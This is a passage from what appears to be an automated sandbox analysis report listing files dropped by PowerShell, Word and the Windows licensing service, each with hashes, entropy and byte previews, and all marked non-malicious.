SSDEEP:	24:HDm90TgJNjAHOwK1mNII+ycuZhNMakS4PNnqSSd:TTgJNjANK1mu1ulMa3AqSC
MD5:	6A3B0E68E18B06A136CD450B39577E11
SHA1:	480D7EC2DC35A9BA3F641C2CC980404C4F1C8ACA
SHA-256:	6694364CA877FC3D70DC63E1F5FF1C7DCCEB074305132F195AC91A773F35DF70
SHA-512:	F5417C1C1AB7DB14D0EBED914063DA33BF8D392C31BA73702A9BB17BD03DEFEE4F2A8359440F9DCD240ADB3E36E04C7EA1FF48E96FD7901370C50BDA475EACB7
Malicious:	false
Preview:	L....tYg.............debug$S........T...................@..B.rsrc$01........X.......8...........@..@.rsrc$02........P...B...............@..@........U....c:\Users\user\AppData\Local\Temp\5xymyn2p\CSCE1E74815576744ED8350991F7490E7AE.TMP....................<e...\]...2o..........5.......C:\Users\user\AppData\Local\Temp\RESDE80.tmp.-.<....................a..Microsoft (R) CVTRES._.=..cwd.C:\Users\user\Desktop.exe.C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe...............................................0.......................H.......L...........H.........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...5.x.y.m.y.n.2.p...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....O.r.

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_13rz3pfn.53u.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_a1c5yo4d.d5h.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_acx2aclp.rfe.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_amdjqwmn.psu.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ctr2qnfw.jju.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_k2asbp52.wn1.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_lqvfywbk.5tt.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_q5qhsck5.hwp.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_rexebnl5.nah.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_rj2lkn1l.t4e.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_rthde4ts.y5w.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_x4uofott.vei.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_xd2y4m5k.rqx.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_yn5rir1g.brg.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_yrtfm5ez.mha.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_zahorkcw.krb.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\~$eting-Registration-Form.docx.docx

Download File

Process:	C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	162
Entropy (8bit):	2.744136704370612
Encrypted:	false
SSDEEP:	3:6NmltlylDQNSl/lvDlvlJltwYuNTK+sDM:mSmMwbWJTKRQ
MD5:	D82594DA7E5DC53442119E6B779E8A8D
SHA1:	00021672E48AAC026B3F26EFEAD52C86908CF446
SHA-256:	3E2DF13893BCA8AEEA8798B99211890B0EDFE0282AC480BAD0756F3C71CF42AC
SHA-512:	E3AB558C8F51D6727F026DA74141A6C3FA7E0B5FC7973DB32A75455511C79768E63F3C6E3C6CA0AE5BBA3C263883FD21A8B5AA4D0B13633DDCB3CCB170BF21CB
Malicious:	false
Preview:	.user.................................................A.r.t.h.u.r...........X.=.......A.....\|.......................\|..........K...,..X......K...........Gc.

C:\Users\user\AppData\Roaming\Microsoft\Templates\~$Normal.dotm

Download File

Process:	C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	162
Entropy (8bit):	2.788859621023923
Encrypted:	false
SSDEEP:	3:6NmltlylDQNT13FuqqtnlNAH30gn0mDM:mSmMtMjI30iBQ
MD5:	9C2A6B29B3117E21AA73CF9A3305F815
SHA1:	4EE66AA73EA7FF5AC128D6205565FB60D9396769
SHA-256:	DA08852503055B9B596D5B8683C54A36DACD65CDE2BB1E81035B8CF0C697582B
SHA-512:	3A2E28EED7D5E3B37CDB3853B05C9D18704438E1960DB5F4C606F6BBDA0D8FB9A08DE88EFBF19F7EE79A477853B038C98DACEC66CC56873C66A01BF8657747EA
Malicious:	false
Preview:	.user.................................................A.r.t.h.u.r.............=.....`.......GK......................GK...............,..X......K...........Gc.

C:\Users\user\AppData\Roaming\Microsoft\UProof\CUSTOM.DIC

Download File

Process:	C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	18
Entropy (8bit):	2.725480556997868
Encrypted:	false
SSDEEP:	3:Qkh1QNIl:Qk8W
MD5:	D1F4EBCAA7623D3DBFBF051D65AB1130
SHA1:	A51DDF1371C35784AA2AF44C5EE706285B378CF7
SHA-256:	A838F07E91D01FCF6874D4F5495F69B9E6AB483D367E0E188A809700DC0D0AAE
SHA-512:	EC32CB4736C75066947B9478B644F550D8B48510D98B4E2D065DFF2219F94D76E83AC886D9FEE795580C17C33388A8B7AA858F71754C97A34CAF976B21B17448
Malicious:	false
Preview:	..A.r.t.h.u.r.....

C:\Users\user\AppData\Roaming\Microsoft\UProof\ExcludeDictionaryEN0809.lex

Download File

Process:	C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Unicode text, UTF-16, little-endian text, with no line terminators
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:Qn:Qn
MD5:	F3B25701FE362EC84616A93A45CE9998
SHA1:	D62636D8CAEC13F04E28442A0A6FA1AFEB024BBB
SHA-256:	B3D510EF04275CA8E698E5B3CBB0ECE3949EF9252F0CDC839E9EE347409A2209
SHA-512:	98C5F56F3DE340690C139E58EB7DAC111979F0D4DFFE9C4B24FF849510F4B6FFA9FD608C0A3DE9AC3C9FD2190F0EFAF715309061490F9755A9BFDF1C54CA0D84
Malicious:	false
Preview:	..

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms (copy)

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	6222
Entropy (8bit):	3.755773378687579
Encrypted:	false
SSDEEP:	48:sk/x1WCuZUUl52vukvhkvklCywL+DcZlCxlgKSogZoC1jcZlCxlgKSogZoCxA:LZ1WCuGk7kvhkvCCtEcZlC2HncZlC2HY
MD5:	CD1B9574F0D46302E7671816E7659BD4
SHA1:	5CE8D12A88314A997F91A38158DD6F22F9BF11E9
SHA-256:	09DB0B63416AAF031A5344D1598BBF7A6C40C82431ED86F5751AFCA87A01C98A
SHA-512:	A7A93531A645592036CC31D284EC941F6A60B7D86A16A92AB223822B72BA2FE9CF379E4ED7C9EFDC6CF7AA8E16BCC065D983AD7C79A67B1C8C7A1BFB7D0E611A
Malicious:	false
Preview:	...................................FL..................F.".. ...;.}.S....m..K..z.:{.............................:..DG..Yr?.D..U..k0.&...&........{.S.......K.....K......t...CFSF..1....."S...AppData...t.Y^...H.g.3..(.....gVA.G..k...@......"S.Y.Y....B......................A!.A.p.p.D.a.t.a...B.V.1......Y.Y..Roaming.@......"S.Y.Y....D......................J..R.o.a.m.i.n.g.....\.1.....6S.T..MICROS~1..D......"S.Y.Y....E.......................(.M.i.c.r.o.s.o.f.t.....V.1......Y.)..Windows.@......"S.Y.Y....F.........................W.i.n.d.o.w.s.......1....."SN...STARTM~1..n.......S)`.Y.)....H...............D.........S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.......1.....6S.S..Programs..j.......S)`.Y.)....I...............@.....f...P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.....n.1....."S....WINDOW~1..V......"S.Ye.....J.......................O.W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....z.2......O.I .WINDOW~1.LNK..^......"S.Y.Y....i...........

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\IW3H313HOD4Y3L1UPJWL.temp

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	6222
Entropy (8bit):	3.755773378687579
Encrypted:	false
SSDEEP:	48:sk/x1WCuZUUl52vukvhkvklCywL+DcZlCxlgKSogZoC1jcZlCxlgKSogZoCxA:LZ1WCuGk7kvhkvCCtEcZlC2HncZlC2HY
MD5:	CD1B9574F0D46302E7671816E7659BD4
SHA1:	5CE8D12A88314A997F91A38158DD6F22F9BF11E9
SHA-256:	09DB0B63416AAF031A5344D1598BBF7A6C40C82431ED86F5751AFCA87A01C98A
SHA-512:	A7A93531A645592036CC31D284EC941F6A60B7D86A16A92AB223822B72BA2FE9CF379E4ED7C9EFDC6CF7AA8E16BCC065D983AD7C79A67B1C8C7A1BFB7D0E611A
Malicious:	false
Preview:	...................................FL..................F.".. ...;.}.S....m..K..z.:{.............................:..DG..Yr?.D..U..k0.&...&........{.S.......K.....K......t...CFSF..1....."S...AppData...t.Y^...H.g.3..(.....gVA.G..k...@......"S.Y.Y....B......................A!.A.p.p.D.a.t.a...B.V.1......Y.Y..Roaming.@......"S.Y.Y....D......................J..R.o.a.m.i.n.g.....\.1.....6S.T..MICROS~1..D......"S.Y.Y....E.......................(.M.i.c.r.o.s.o.f.t.....V.1......Y.)..Windows.@......"S.Y.Y....F.........................W.i.n.d.o.w.s.......1....."SN...STARTM~1..n.......S)`.Y.)....H...............D.........S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.......1.....6S.S..Programs..j.......S)`.Y.)....I...............@.....f...P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.....n.1....."S....WINDOW~1..V......"S.Ye.....J.......................O.W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....z.2......O.I .WINDOW~1.LNK..^......"S.Y.Y....i...........

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\T0O847STXMUZM76FP2WC.temp

Download File

Process:	C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	modified
Size (bytes):	12
Entropy (8bit):	0.41381685030363374
Encrypted:	false
SSDEEP:	3:/l:
MD5:	E4A1661C2C886EBB688DEC494532431C
SHA1:	A2AE2A7DB83B33DC95396607258F553114C9183C
SHA-256:	B76875C50EF704DBBF7F02C982445971D1BBD61AEBE2E4B28DDC58A1D66317D5
SHA-512:	EFDCB76FB40482BC94E37EAE3701E844BF22C7D74D53AEF93AC7B6AE1C1094BA2F853875D2C66A49A7075EA8C69F5A348B786D6EE0FA711669279D04ADAAC22C
Malicious:	false
Preview:	............

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\fb3b0dbfee58fac8.customDestinations-ms (copy)

Download File

Process:	C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	12
Entropy (8bit):	0.41381685030363374
Encrypted:	false
SSDEEP:	3:/l:
MD5:	E4A1661C2C886EBB688DEC494532431C
SHA1:	A2AE2A7DB83B33DC95396607258F553114C9183C
SHA-256:	B76875C50EF704DBBF7F02C982445971D1BBD61AEBE2E4B28DDC58A1D66317D5
SHA-512:	EFDCB76FB40482BC94E37EAE3701E844BF22C7D74D53AEF93AC7B6AE1C1094BA2F853875D2C66A49A7075EA8C69F5A348B786D6EE0FA711669279D04ADAAC22C
Malicious:	false
Preview:	............

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	0.34726597513537405
Encrypted:	false
SSDEEP:	3:Nlll:Nll
MD5:	446DD1CF97EABA21CF14D03AEBC79F27
SHA1:	36E4CC7367E0C7B40F4A8ACE272941EA46373799
SHA-256:	A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF
SHA-512:	A6D754709F30B122112AE30E5AB22486393C5021D33DA4D1304C061863D2E1E79E8AEB029CAE61261BB77D0E7BECD53A7B0106D6EA4368B4C302464E3D941CF7
Malicious:	false
Preview:	@...e...........................................................

C:\Windows\System32\spp\store\2.0\cache\cache.dat

Download File

Process:	C:\Windows\System32\sppsvc.exe
File Type:	data
Category:	dropped
Size (bytes):	796616
Entropy (8bit):	3.878012200104914
Encrypted:	false
SSDEEP:	6144:KEcXiBNLsfNeeD61SRawazmRnLekXEij/OnWRo1Yr+5i6ByhMTUA28yIGpZc:KEcXiBqfNeeD6qawazmRnLekXSSov3
MD5:	BB8D8642FBD78C17E491B5C591DC7059
SHA1:	A76985CCFB9FB2FA5A635470F81F9522737B4006
SHA-256:	766143A782AFA380828B9AA30E0F00E0BC32508B14E368C0F2C220B6F32D54D1
SHA-512:	A207E7DA997B4B0CA668AED32ED2913EC387D54B447E6E1F3F9E29FFCBC0BAEF6C8B90363332D5526AEC8B332E5E4824B3C27DAD46550C5413DC869A04ADA1A4
Malicious:	false
Preview:	..E(....................;._....................................$.$.G.l.o.b.a.l.$.$......my......................\.....Z...0...+.0.J.f.p.q.U.8.x.J.e.Y.n.Z.J.W.G.k.L.b.7.o./.C.D.+.A.J.9.U.P.y.A.e.m.R.4.2.m.F.n.1.s.=...........E(......................j.............................Z.......+.2.e.7.W.B.7.f.+.F.7.k.k.4.M.y.C.N.s.p.j.x.r.8.T.7.W.H.q.u.k.M.w.4.H.5.C.o.m.q.c.L.Q.=..........R2H....................Uz(.....................(5X.........D...O.f.f.i.c.e. .1.9.,. .T.I.M.E.B.A.S.E.D._.E.V.A.L. .c.h.a.n.n.e.l...............Z...0...+.4.R.6.u.F.1.m.q./.B.3.W.x.J.e./.F.6.Z.l.g.e.6.z.r.T.5.4.N.8.w.2.l.8.S.Q.Q.3.y.p.L.Q.=...........E(......................j.....................8..=....Z.......+.5.9.4.3.l.j.l.G.R.C.2.b.R.G.h.s.Y.q.K.N.O.g.0.3.U.y.s.i.K.c.w.b.c.a.T.k.W.2.V.f.N.4.=..........R2H....................Uz(......................PPu............!.......J...J...e.d.e.a.3.f.0.d.-.b.a.5.4.-.4.2.a.d.-.a.7.7.f.-.3.d.8.7.e.5.0.0.a.0.0.3.........e.d.e.a.3.f.0.d.-.b.a.5.4.-.4.2.a.d.-.a.7.7.f.-.

C:\Windows\System32\spp\store\2.0\data.dat (copy)

Download File

Process:	C:\Windows\System32\sppsvc.exe
File Type:	data
Category:	dropped
Size (bytes):	16352
Entropy (8bit):	7.989715332557435
Encrypted:	false
SSDEEP:	384:Ar6VRNz3lt07l6HbQ9Wb3svVJPTpPmHp43Q:AG3Q9Wb3CPM+3Q
MD5:	DC5B92C58036E26DDAA09B0AC0A76B69
SHA1:	0F6DD313B40D15C66DA8EEC4E65D839F3164B7E4
SHA-256:	22E609531ACEB69CFF4F2363B15A80F9F37E72AA07693E0EE0D94FED9DD2043A
SHA-512:	7D24933EA42AACF0BA6A852D97D20920257CDA7DA91E3E48392FE0BD623B52A70A9CBEA8A4BB23A4E5DF966CB61E497C26F87E28444B8F929A64346FCB3B9799
Malicious:	false
Preview:	......DL.@...B....@.j....Qm.Jmc.{.~.S...fy.r.b`...Y...Wq...'...h.c.:.J5:.@...G.t.K.>...<b0R.a.n&3L.:.iJ@.!e)...x.D.R7.9..,...Pm...ty..'./../x00...Xa....Ze#...dU.x...-..TE.3\....k!...8.1.h..'O.s.\|(.N,;iL.....)i.$.X..\|.p.k....0M......P[...RK.#.X..I....V.......9ZT..%..\|.4..<....A.......H....u..D.... ....o...t...74..#y,...d.."..5../C$..;....U.1....d.W .&W.....7Ge..h.....x.^.]c.d>:.O.a<.F'G...7G.b....d.(z..bA...D.......F......y...>i.fjN.895(.E~.....O....2.].tM[.#N.b..\. ..?...s....`.!-=./F...".75.\|.PU..<zm<4....,z..p...A.\|..E.B.0...,tR..$.>..#..a(.j......]......<....f.%.+........0K.-....."u:."g.e../a..-s.Z.+..Z..k.}.z@N?C..G...=....H.=...@.%.Z..Bk.......jT.....Lu.....G.v8....(.....G..u:L.y$e..!.:.-Y....b...5...O.CB.Ad.$<Sf.m.6.....9......f.^.]qH...j,.*..`.k..Q..0.......&...3......K.r....!.Q...-..f.%.........D@!..c..K..2Z>..\..M..."..#;>.G^..S.h...p.5...c.p4.1..\|.....~d...}.=..^...X.7.%....!.V...:..m.y..o..FHGK......)...E.M......"......&.

C:\Windows\System32\spp\store\2.0\data.dat.bak (copy)

Download File

Process:	C:\Windows\System32\sppsvc.exe
